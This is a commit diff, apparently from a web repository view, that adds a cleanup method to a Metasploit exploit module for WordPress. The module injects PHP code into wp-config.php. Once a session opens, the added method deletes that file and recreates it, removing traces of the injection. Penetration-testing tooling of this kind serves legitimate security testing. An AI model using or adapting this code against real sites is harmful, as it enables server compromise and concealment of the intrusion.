Added the clean_up function
parent
224e782772
commit
7e953e34b9
|
@ -141,4 +141,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_error("Failed to inject PHP code in wp-config.php...")
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if client.type.eql? 'meterpreter'
|
||||
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
|
||||
client.fs.file.rm 'wp-config.php'
|
||||
else
|
||||
client.shell_command_token 'rm wp-config.php'
|
||||
end
|
||||
create_wp_config_file
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue